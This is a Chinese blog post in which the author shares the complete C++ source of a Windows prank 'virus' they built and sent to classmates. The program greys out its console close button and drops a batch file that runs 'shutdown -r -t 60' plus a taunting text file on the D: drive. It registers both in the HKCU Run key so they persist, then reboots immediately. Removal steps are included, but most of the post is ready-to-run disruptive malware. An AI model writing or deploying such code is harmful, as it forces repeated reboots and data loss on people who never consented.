脑洞大开 [c++][重启病毒]

介绍
看到知乎上的一个问题,于是有了做一个简单病毒的主意,花了一下午的时间写出来了,给同学发着玩玩,还挺有意思。
说一下病毒的症状:运行exe程序后,电脑会重启,之后的每次开机,都会在开机后60s后关机。
因为不是个恶意病毒,所以在每次开机的时候都会弹出一个txt文件告诉他们解决方案。


分析
整个病毒分为三部分:
一、创建文件
有两个文件,都是开机自动启动的。
1. 自动重启的bat批处理文件,只有一句话
shutdown -r -t 60
这种方式就决定了这其实不是个什么高大上的病毒,只是突发奇想做来玩玩..
2. 一个txt文件,上面写着解决方案(其实不能彻底解决)

二、 修改注册表
也是添加两个开机自动启动键,放在HKEY_CURRENT_USER\Software\Microsoft\Window
s\CurrentVersion\Run,这两个键分别启动上面创建的两个文件。
这个run里的键是每次开机后都会运行一次,所以把键放在这里。

三、废话+重启电脑命令
就是调戏中毒者的一段废话,以及给他们60s的时间保存文件,之后一个重启命令。

同时为了保证程序能正常运行(重启命令是整个程序的最后一句,关闭程序就无法运行最后的关机命令),让这个窗口的关闭按钮失效变灰。(其实还是可以通过ctrl c退出程序,但是创建文件+修改注册表是在程序运行后的零点几秒就完成的,所以主体程序都是运行完了的)
这里碰到了一个问题,就是GetConsoleWindow()函数无法调用,上网上查了查,加上winusr.h头文件和一句话

extern "C" WINBASEAPI HWND WINAPI GetConsoleWindow ();

就可以了。


解决方法
这里贴上根治的解决方法:
1. 先取消本次的重启:win + r 打开运行窗口,输入shutdown -a,取消本次的重启。
2. 删除注册表:win + r 打开运行窗口,输入regedit,打开注册表编辑器,按如下路径打开,HKEY_CURRENT_USER\Software\Microsoft\Window,右边有两个键名叫Auto_Shutdown和Help,这就是程序创建的两个键,删除后每次开机就不会重启。
3. 程序一开始创建的文件放在D盘根目录下,打开D盘就能看见创建的一个txt文件和一个bat文件,删除之。


代码
闲的无聊不要随便运行哦~

#include <bits/stdc++.h>
#include <winuser.h>

extern "C" WINBASEAPI HWND WINAPI GetConsoleWindow ();

using namespace std;


int main()
{
    DeleteMenu(GetSystemMenu(GetConsoleWindow(), false), SC_CLOSE, MF_BYCOMMAND);
    DrawMenuBar(GetConsoleWindow());
    SetConsoleTitle("I'm kidding you!!!!!!!a ha ha ha !!!!!!!!!");
    //创建文件
    FILE *fp;
    fp = fopen("D:\\60s_shutdown.bat", "w");
    fprintf(fp, "%s", "shutdown -r -t 60\n");
    fclose(fp);
    fp = fopen("D:\\how to save your computer.txt", "w");
    fprintf(fp, "%s","Well, now, you can save your computer by following me.\n");
    fprintf(fp, "%s", "Firstly, let me tell a story.\n");
    fprintf(fp, "%s", "Once upon a time there was a mountain.\n");
    fprintf(fp, "%s", "There is a temple on the mountain.\n");
    fprintf(fp, "%s", "There is a little monk in the temple.\n");
    fprintf(fp, "%s", "The little monk opened the QQ.\n");
    fprintf(fp, "%s", "He found there is virus in his computer.\n");
    fprintf(fp, "%s", "To be honest, I was just trying stalling for time.\n");
    fprintf(fp, "%s", "The following is the point.\n");
    fprintf(fp, "%s", "But, over 60 seconds, your computer will restart again.\n");
    fprintf(fp, "%s", "Press \"win + r\", then a window named \"run\" appears.\n");
    fprintf(fp, "%s", "Input \"shutdown -a\", and press Enter.\n");
    fprintf(fp, "%s", "Ok, now your computer is safe temporarily.\n");
    fprintf(fp, "%s", "You say:\"What?! That's not end?\"\n");
    fprintf(fp, "%s", "Yes, that's not end.\n");
    fprintf(fp, "%s", "If you want to save your computer throughly, contact me.\n\n");
    fprintf(fp, "%s", "I can only help you here.\nGoodbey.\n");
    fclose(fp);

    //注册表
    HKEY hroot;
    DWORD dwDisposition;
    RegCreateKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, 0, &hroot, &dwDisposition);
    RegSetValueEx(hroot,"Auto_Shutdown",0,REG_SZ,(BYTE*)"\"D:\\60s_shutdown.bat\"",sizeof("\"D:\\60s_shutdown.bat\""));
    RegCreateKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, 0, &hroot, &dwDisposition);
    RegSetValueEx(hroot,"Help",0,REG_SZ,(BYTE*)"\"D:\\how to save your computer.txt\"",sizeof("\"D:\\how to save your computer.txt\""));

    //第一次运行程序
    SetConsoleTitle("I'm kidding you!!!!!!!a ha ha ha !!!!!!!!!");
    cout << "Hi, let's play a game!" << endl;
    Sleep(3000);
    cout << "Do you want to know what the game is?" << endl;
    Sleep(3000);
    cout << "I think you will know it soon." << endl;
    Sleep(3000);
    cout << "Then..." << endl;
    Sleep(3000);
    cout << "A ha ha ha! This is a virus!!!!!" << endl;
    cout << "Don't try to save your computer by closing this console now." << endl;
    cout << "Because the program has changed your computer few seconds ago." << endl;
    Sleep(10000);
    cout << "And your computer will be restarted after few seconds." << endl;
    //system("shutdown -r -t 70");
    Sleep(3000);
    cout << "I promise, that's true." << endl;
    Sleep(3000);
    cout << "Now, you have 60s to save your essential documents." << endl;
    cout << "Quickly!!!" << endl;
    for(int i=60; i>=1; i--)
    {
        cout << i << endl;
        Sleep(1000);
    }
    cout << "Lao xin, zha tie ma?" << endl;
    Sleep(3000);
    cout << "Now, restart." << endl;
    Sleep(1000);
    system("shutdown -r -t 0");
    return 0;
}

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值